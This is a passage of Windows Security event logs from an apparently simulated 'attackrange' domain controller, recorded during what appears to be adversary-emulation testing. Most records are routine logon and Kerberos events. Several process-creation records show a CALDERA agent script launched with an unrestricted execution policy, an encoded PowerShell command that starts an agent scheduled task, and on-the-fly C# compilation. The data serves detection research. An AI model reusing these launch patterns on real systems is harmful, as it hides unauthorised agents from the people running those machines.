-EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252794 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178292 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252793 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252792 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172A45 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252791 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178292 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252790 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178292 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252789 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252788 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252787 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252786 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178225 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252785 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178225 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252784 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178225 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252783 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252782 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252781 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252780 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x176E55 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252779 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x174D1D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252778 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1730C1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252844 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x6d4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252843 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6d4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_manx_agent.ps1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252842 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x674 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4d0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAEMAYQBsAGQAZQByAGEAQQBnAGUAbgB0AE0AYQBuAFgAIgA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252841 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17ADC6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252840 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17ADC6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2F3930C4-14F7-A550-8481-8F9AA5970FA1} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252839 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2F3930C4-14F7-A550-8481-8F9AA5970FA1} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252838 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {2F3930C4-14F7-A550-8481-8F9AA5970FA1} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252837 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252836 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1068 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8E7C.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCA62DD4B73A09426C926833B56182EF1C.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252835 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1068 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4d0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\wibwzky2.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252887 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17ED31 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252886 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon 